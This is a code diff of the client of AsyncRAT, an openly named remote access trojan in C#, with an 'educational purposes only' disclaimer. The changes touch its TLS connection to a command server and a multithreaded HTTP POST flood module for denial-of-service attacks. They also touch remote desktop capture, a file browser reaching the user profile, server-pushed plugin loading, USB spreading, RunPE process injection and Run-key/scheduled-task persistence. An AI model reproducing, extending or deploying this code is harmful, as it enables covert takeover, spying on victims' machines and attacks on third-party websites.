|
||||||
@ -88,11 +122,12 @@
|
|||||||
<Compile Include="Handle Packet\HandleTorrent.cs" />
|
<Compile Include="Handle Packet\HandleTorrent.cs" />
|
||||||
<Compile Include="Handle Packet\HandleUAC.cs" />
|
<Compile Include="Handle Packet\HandleUAC.cs" />
|
||||||
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
<Compile Include="Handle Packet\HandleUninstall.cs" />
|
||||||
|
<Compile Include="Handle Packet\HandleWebcam.cs" />
|
||||||
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
|
<Compile Include="Handle Packet\HandleWindowsDefender.cs" />
|
||||||
<Compile Include="Handle Packet\Packet.cs" />
|
<Compile Include="Handle Packet\Packet.cs" />
|
||||||
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
<Compile Include="Handle Packet\HandleLimeLogger.cs" />
|
||||||
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
<Compile Include="Handle Packet\HandleProcessManager.cs" />
|
||||||
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
|
<Compile Include="Handle Packet\HandlePlugin.cs" />
|
||||||
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
<Compile Include="Handle Packet\HandleSendTo.cs" />
|
||||||
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
<Compile Include="Handle Packet\HandleLimeUSB.cs" />
|
||||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||||
@ -113,8 +148,8 @@
|
|||||||
<Compile Include="Program.cs" />
|
<Compile Include="Program.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
<Compile Include="Settings.cs" />
|
<Compile Include="Settings.cs" />
|
||||||
<Compile Include="Sockets\ClientSocket.cs" />
|
<Compile Include="Connection\ClientSocket.cs" />
|
||||||
<Compile Include="Sockets\TempSocket.cs" />
|
<Compile Include="Connection\TempSocket.cs" />
|
||||||
<Compile Include="StreamLibrary\Enums.cs" />
|
<Compile Include="StreamLibrary\Enums.cs" />
|
||||||
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||||
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||||
|
@ -10,6 +10,7 @@ using System.Net.Security;
|
|||||||
using System.Security.Authentication;
|
using System.Security.Authentication;
|
||||||
using System.Security.Cryptography.X509Certificates;
|
using System.Security.Cryptography.X509Certificates;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
|
using Client.Algorithm;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : Nyan Socket v0.1
|
// │ Name : Nyan Socket v0.1
|
||||||
@ -17,11 +18,11 @@ using System.Net;
|
|||||||
|
|
||||||
// This program is distributed for educational purposes only.
|
// This program is distributed for educational purposes only.
|
||||||
|
|
||||||
namespace Client.Sockets
|
namespace Client.Connection
|
||||||
{
|
{
|
||||||
public static class ClientSocket
|
public static class ClientSocket
|
||||||
{
|
{
|
||||||
public static Socket Client { get; set; }
|
public static Socket TcpClient { get; set; }
|
||||||
public static SslStream SslClient { get; set; }
|
public static SslStream SslClient { get; set; }
|
||||||
private static byte[] Buffer { get; set; }
|
private static byte[] Buffer { get; set; }
|
||||||
private static long Buffersize { get; set; }
|
private static long Buffersize { get; set; }
|
||||||
@ -35,7 +36,7 @@ namespace Client.Sockets
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
|
||||||
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||||
{
|
{
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
@ -54,15 +55,15 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Client.Connect(theaddress, ServerPort); //lets try and connect!
|
TcpClient.Connect(theaddress, ServerPort); //lets try and connect!
|
||||||
if (Client.Connected) break;
|
if (TcpClient.Connected) break;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
|
TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -75,16 +76,16 @@ namespace Client.Sockets
|
|||||||
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
|
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
|
||||||
Settings.Hosts = spl[0];
|
Settings.Hosts = spl[0];
|
||||||
Settings.Ports = spl[new Random().Next(1, spl.Length)];
|
Settings.Ports = spl[new Random().Next(1, spl.Length)];
|
||||||
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
|
TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (Client.Connected)
|
if (TcpClient.Connected)
|
||||||
{
|
{
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
IsConnected = true;
|
IsConnected = true;
|
||||||
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||||
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
Send(Methods.SendInfo());
|
Send(Methods.SendInfo());
|
||||||
@ -125,7 +126,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
Tick?.Dispose();
|
Tick?.Dispose();
|
||||||
SslClient?.Dispose();
|
SslClient?.Dispose();
|
||||||
Client?.Dispose();
|
TcpClient?.Dispose();
|
||||||
MS?.Dispose();
|
MS?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -135,7 +136,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!Client.Connected || !IsConnected)
|
if (!TcpClient.Connected || !IsConnected)
|
||||||
{
|
{
|
||||||
IsConnected = false;
|
IsConnected = false;
|
||||||
return;
|
return;
|
||||||
@ -199,12 +200,11 @@ namespace Client.Sockets
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] buffer = msg;
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
||||||
|
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(buffersize, 0, buffersize.Length);
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||||
SslClient.Write(buffer, 0, buffer.Length);
|
SslClient.Write(msg, 0, msg.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
}
|
}
|
||||||
catch
|
catch
|
@ -13,6 +13,7 @@ using System.Net.Security;
|
|||||||
using System.Security.Authentication;
|
using System.Security.Authentication;
|
||||||
using System.Security.Cryptography.X509Certificates;
|
using System.Security.Cryptography.X509Certificates;
|
||||||
using System.Net;
|
using System.Net;
|
||||||
|
using Client.Algorithm;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : Nyan Socket v0.1
|
// │ Name : Nyan Socket v0.1
|
||||||
@ -20,11 +21,11 @@ using System.Net;
|
|||||||
|
|
||||||
// This program is distributed for educational purposes only.
|
// This program is distributed for educational purposes only.
|
||||||
|
|
||||||
namespace Client.Sockets
|
namespace Client.Connection
|
||||||
{
|
{
|
||||||
public class TempSocket
|
public class TempSocket
|
||||||
{
|
{
|
||||||
public Socket Client { get; set; }
|
public Socket TcpClient { get; set; }
|
||||||
public SslStream SslClient { get; set; }
|
public SslStream SslClient { get; set; }
|
||||||
private byte[] Buffer { get; set; }
|
private byte[] Buffer { get; set; }
|
||||||
private long Buffersize { get; set; }
|
private long Buffersize { get; set; }
|
||||||
@ -40,18 +41,18 @@ namespace Client.Sockets
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||||
{
|
{
|
||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
SendBufferSize = 50 * 1024,
|
SendBufferSize = 50 * 1024,
|
||||||
};
|
};
|
||||||
|
|
||||||
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
|
TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]));
|
||||||
|
|
||||||
Debug.WriteLine("Temp Connected!");
|
Debug.WriteLine("Temp Connected!");
|
||||||
IsConnected = true;
|
IsConnected = true;
|
||||||
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||||
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||||
Buffer = new byte[4];
|
Buffer = new byte[4];
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||||
@ -75,11 +76,19 @@ namespace Client.Sockets
|
|||||||
|
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
|
IsConnected = false;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
TcpClient.Shutdown(SocketShutdown.Both);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Tick?.Dispose();
|
Tick?.Dispose();
|
||||||
SslClient?.Dispose();
|
SslClient?.Dispose();
|
||||||
Client?.Dispose();
|
TcpClient?.Dispose();
|
||||||
MS?.Dispose();
|
MS?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -152,15 +161,15 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!IsConnected || msg == null || !ClientSocket.IsConnected)
|
if (!IsConnected || !ClientSocket.IsConnected)
|
||||||
{
|
{
|
||||||
|
Dispose();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] buffer = msg;
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
|
||||||
|
|
||||||
Client.Poll(-1, SelectMode.SelectWrite);
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
SslClient.Write(buffersize, 0, buffersize.Length);
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||||
SslClient.Flush();
|
SslClient.Flush();
|
||||||
int chunkSize = 50 * 1024;
|
int chunkSize = 50 * 1024;
|
@ -4,7 +4,7 @@ using System.Diagnostics;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using Microsoft.Win32;
|
using Microsoft.Win32;
|
||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
@ -27,43 +27,44 @@ namespace Client.Handle_Packet
|
|||||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"};
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"};
|
||||||
|
|
||||||
public void DosPost(MsgPack unpack_msgpack)
|
public void DosPost(MsgPack unpack_msgpack)
|
||||||
|
{
|
||||||
|
try
|
||||||
{
|
{
|
||||||
host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost;
|
host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost;
|
||||||
port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString);
|
port = Convert.ToInt32(unpack_msgpack.ForcePathObject("port").AsString);
|
||||||
timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60;
|
timeout = Convert.ToInt32(unpack_msgpack.ForcePathObject("timeout").AsString) * 60;
|
||||||
List<Socket> SocketList = new List<Socket>();
|
|
||||||
TimeSpan timespan = TimeSpan.FromSeconds(timeout);
|
TimeSpan timespan = TimeSpan.FromSeconds(timeout);
|
||||||
Stopwatch stopwatch = new Stopwatch();
|
Stopwatch stopwatch = new Stopwatch();
|
||||||
stopwatch.Start();
|
stopwatch.Start();
|
||||||
|
|
||||||
|
|
||||||
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
|
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
|
||||||
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
|
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < 100; i++)
|
||||||
{
|
{
|
||||||
new Thread(() =>
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Socket tcp = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
|
Socket tcp = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||||
tcp.Connect(host.ToString(), port);
|
tcp.Connect(host.ToString(), port);
|
||||||
SocketList.Add(tcp);
|
|
||||||
string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n";
|
string post = $"POST / HTTP/1.1\r\nHost: {host} \r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: {userAgents[new Random().Next(userAgents.Length)]}\r\nContent-length: 5235\r\n\r\n";
|
||||||
byte[] buffer = Encoding.UTF8.GetBytes(post);
|
byte[] buffer = Encoding.UTF8.GetBytes(post);
|
||||||
tcp.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
tcp.Send(buffer, 0, buffer.Length, SocketFlags.None);
|
||||||
|
Thread.Sleep(4000);
|
||||||
|
tcp.Dispose();
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
//Console.WriteLine("Website may be down!");
|
//Console.WriteLine("Website may be down!");
|
||||||
}
|
}
|
||||||
}).Start();
|
}).Start();
|
||||||
Thread.Sleep(1);
|
|
||||||
}
|
}
|
||||||
|
Thread.Sleep(5000);
|
||||||
Thread.Sleep(1000);
|
|
||||||
foreach (Socket tcp in SocketList.ToList())
|
|
||||||
{
|
|
||||||
tcp?.Dispose();
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
catch { return; }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
@ -175,6 +175,7 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
if (path == "DESKTOP") path = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
||||||
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
|
if (path == "APPDATA") path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "AppData");
|
||||||
|
if (path == "USER") path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
||||||
|
|
||||||
foreach (string folder in Directory.GetDirectories(path))
|
foreach (string folder in Directory.GetDirectories(path))
|
||||||
{
|
{
|
||||||
@ -208,7 +209,7 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
using (Bitmap myBitmap = new Bitmap(file))
|
using (Bitmap myBitmap = new Bitmap(file))
|
||||||
{
|
{
|
||||||
return new Bitmap(myBitmap.GetThumbnailImage(64, 64, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
return new Bitmap(myBitmap.GetThumbnailImage(48, 48, new Image.GetThumbnailImageAbort(() => false), IntPtr.Zero));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -219,7 +220,7 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
return new Bitmap(64, 64);
|
return new Bitmap(48, 48);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@ using System.Text;
|
|||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
|
|
||||||
namespace Client.Handle_Packet
|
namespace Client.Handle_Packet
|
||||||
{
|
{
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
@ -20,13 +20,13 @@ namespace Client.Handle_Packet
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||||
MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize");
|
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||||
object injObj = loader.CreateInstance(meth.Name);
|
object injObj = loader.CreateInstance(meth.Name);
|
||||||
int count = (int)meth.Invoke(injObj, null);
|
int count = (int)meth.Invoke(injObj, null);
|
||||||
if (count > 0)
|
if (count > 0)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
msgpack.ForcePathObject("Packet").AsString = "usb";
|
||||||
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
msgpack.ForcePathObject("Count").AsString = count.ToString();
|
||||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
32
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
32
AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
using Client.MessagePack;
|
||||||
|
using Client.Connection;
|
||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using Client.Helper;
|
||||||
|
|
||||||
|
namespace Client.Handle_Packet
|
||||||
|
{
|
||||||
|
public class HandlePlugin
|
||||||
|
{
|
||||||
|
public HandlePlugin(MsgPack unpack_msgpack)
|
||||||
|
{
|
||||||
|
new Thread(delegate ()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Assembly plugin = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
|
||||||
|
MethodInfo meth = plugin.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||||
|
meth.Invoke(null, new object[] { ClientSocket.TcpClient, Settings.ServerCertificate });
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Debug.WriteLine(ex.Message);
|
||||||
|
Packet.Error(ex.Message);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
{ IsBackground = true }.Start();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
|
@ -1,21 +1,20 @@
|
|||||||
using Client.MessagePack;
|
using System;
|
||||||
using Client.Sockets;
|
|
||||||
using System.Drawing;
|
|
||||||
using System.Drawing.Imaging;
|
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Windows.Forms;
|
|
||||||
using Client.Helper;
|
|
||||||
using System;
|
|
||||||
using Client.StreamLibrary.UnsafeCodecs;
|
|
||||||
using Client.StreamLibrary;
|
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using Client.MessagePack;
|
||||||
|
using Client.Connection;
|
||||||
|
using Client.StreamLibrary.UnsafeCodecs;
|
||||||
|
using Client.Helper;
|
||||||
|
using Client.StreamLibrary;
|
||||||
|
|
||||||
namespace Client.Handle_Packet
|
namespace Client.Handle_Packet
|
||||||
{
|
{
|
||||||
public class HandleRemoteDesktop
|
public class HandleRemoteDesktop
|
||||||
{
|
{
|
||||||
|
|
||||||
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
@ -80,7 +79,6 @@ namespace Client.Handle_Packet
|
|||||||
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
|
tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
|
||||||
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
|
tempSocket.SslClient.Write(msgpack.Encode2Bytes());
|
||||||
tempSocket.SslClient.Flush();
|
tempSocket.SslClient.Flush();
|
||||||
Thread.Sleep(1);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
bmp.UnlockBits(bmpData);
|
bmp.UnlockBits(bmpData);
|
||||||
@ -88,10 +86,14 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
catch { break; }
|
catch { break; }
|
||||||
}
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
bmp?.UnlockBits(bmpData);
|
bmp?.UnlockBits(bmpData);
|
||||||
bmp?.Dispose();
|
bmp?.Dispose();
|
||||||
tempSocket?.Dispose();
|
tempSocket?.Dispose();
|
||||||
}
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
|
||||||
private Bitmap GetScreen(int Scrn)
|
private Bitmap GetScreen(int Scrn)
|
||||||
{
|
{
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
@ -14,6 +14,7 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
//Drop To Disk
|
||||||
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
|
||||||
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath);
|
||||||
Process.Start(fullPath);
|
Process.Start(fullPath);
|
||||||
@ -37,6 +38,7 @@ namespace Client.Handle_Packet
|
|||||||
byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
|
byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes();
|
||||||
if (injection.Length == 0)
|
if (injection.Length == 0)
|
||||||
{
|
{
|
||||||
|
//Reflection
|
||||||
new Thread(delegate ()
|
new Thread(delegate ()
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
@ -59,12 +61,13 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
//RunPE
|
||||||
new Thread(delegate ()
|
new Thread(delegate ()
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Assembly loader = Assembly.Load(plugin);
|
Assembly loader = Assembly.Load(plugin);
|
||||||
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
|
MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize");
|
||||||
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
|
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Client.MessagePack;
|
using Client.MessagePack;
|
||||||
using Client.Sockets;
|
using Client.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
@ -19,16 +19,16 @@ namespace Client.Handle_Packet
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!Methods.IsAdmin())
|
if (!Methods.IsAdmin())
|
||||||
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Path.GetFileName(Settings.ClientFullPath));
|
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run").DeleteValue(Settings.InstallFile);
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Process.Start(new ProcessStartInfo()
|
Process.Start(new ProcessStartInfo()
|
||||||
{
|
{
|
||||||
FileName = "schtasks",
|
FileName = "schtasks",
|
||||||
Arguments = $"/delete /tn {Path.GetFileName(Settings.ClientFullPath)} /f",
|
Arguments = $"/delete /tn {Settings.InstallFile} /f",
|
||||||
CreateNoWindow = true,
|
CreateNoWindow = true,
|
||||||
ErrorDialog = false,
|
ErrorDialog = false,
|
||||||
UseShellExecute = true,
|
UseShellExecute = false,
|
||||||
WindowStyle = ProcessWindowStyle.Hidden
|
WindowStyle = ProcessWindowStyle.Hidden
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@ -43,6 +43,7 @@ namespace Client.Handle_Packet
|
|||||||
